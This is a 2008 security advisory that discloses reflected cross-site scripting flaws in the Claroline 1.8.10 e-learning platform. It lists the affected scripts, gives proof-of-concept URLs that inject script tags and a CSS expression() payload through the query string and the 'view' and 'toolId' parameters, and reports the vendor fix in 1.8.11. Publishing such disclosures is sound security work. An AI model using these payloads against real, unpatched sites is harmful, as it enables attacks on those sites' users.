Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-032


Application:                    Claroline eLearning and eWorking platform
Versions Affected:              1.8.10
Vendor URL:                     http://www.claroline.net/
Bug:                            Multiple Linked XSS
Exploits:                       YES
Reported:                       18.07.2008
Vendor Response:                22.07.2008
Solution:                       YES
Date of Public Advisory:        22.07.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Claroline system has multiple linked XSS vulnerabilities.



Details
*******

1. Multiple linked XSS vulnerabilities found. Attacker can inject XSS in URL string

1.1 Linked XSS vulnerabilities found in scripts:

claroline/announcements/messages.php
claroline/auth/lostPassword.php
claroline/auth/profile.php
claroline/calendar/myagenda.php
claroline/group/group.php
claroline/learnPath/learningPath.php
claroline/learnPath/learningPathList.php
claroline/learnPath/module.php
claroline/phpbb/index.php
claroline/tracking/courseLog.php
claroline/tracking/course_access_details.php
claroline/tracking/delete_course_stats.php
claroline/tracking/userLog.php
claroline/tracking/user_access_details.php
claroline/user/user.php
claroline/user/userInfo.php

Attacker can inject XSS in URL string.

Example:

http://[server]/[installdir]/claroline/calendar/myagenda.php?"><script>alert('DSecRG XSS')</script> 
http://[server]/[installdir]/claroline/user/user.php?"><script>alert('DSecRG XSS')</script>


1.2 Linked XSS vulnerability found in claroline/tracking/courseLog.php 

GET parameter "view"

Example:

http://[server]/[installdir]/claroline/tracking/courseLog.php?view=DSec" STYLE="xss:expression(alert('DSecRG XSS'))


1.3 Linked XSS vulnerability found in claroline/tracking/toolaccess_details.php 

GET parameter "toolId"

Example:

http://[server]/[installdir]/claroline/tracking/toolaccess_details.php?toolId="><script>alert('DSecRG XSS')</script>



Solution
********

Vendor fix this flaw on 22.07.2008. New version 1.8.11 can be downloaded here:

http://downloads.sourceforge.net/claroline/claroline1811.tar.gz
http://downloads.sourceforge.net/claroline/claroline1811.zip



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)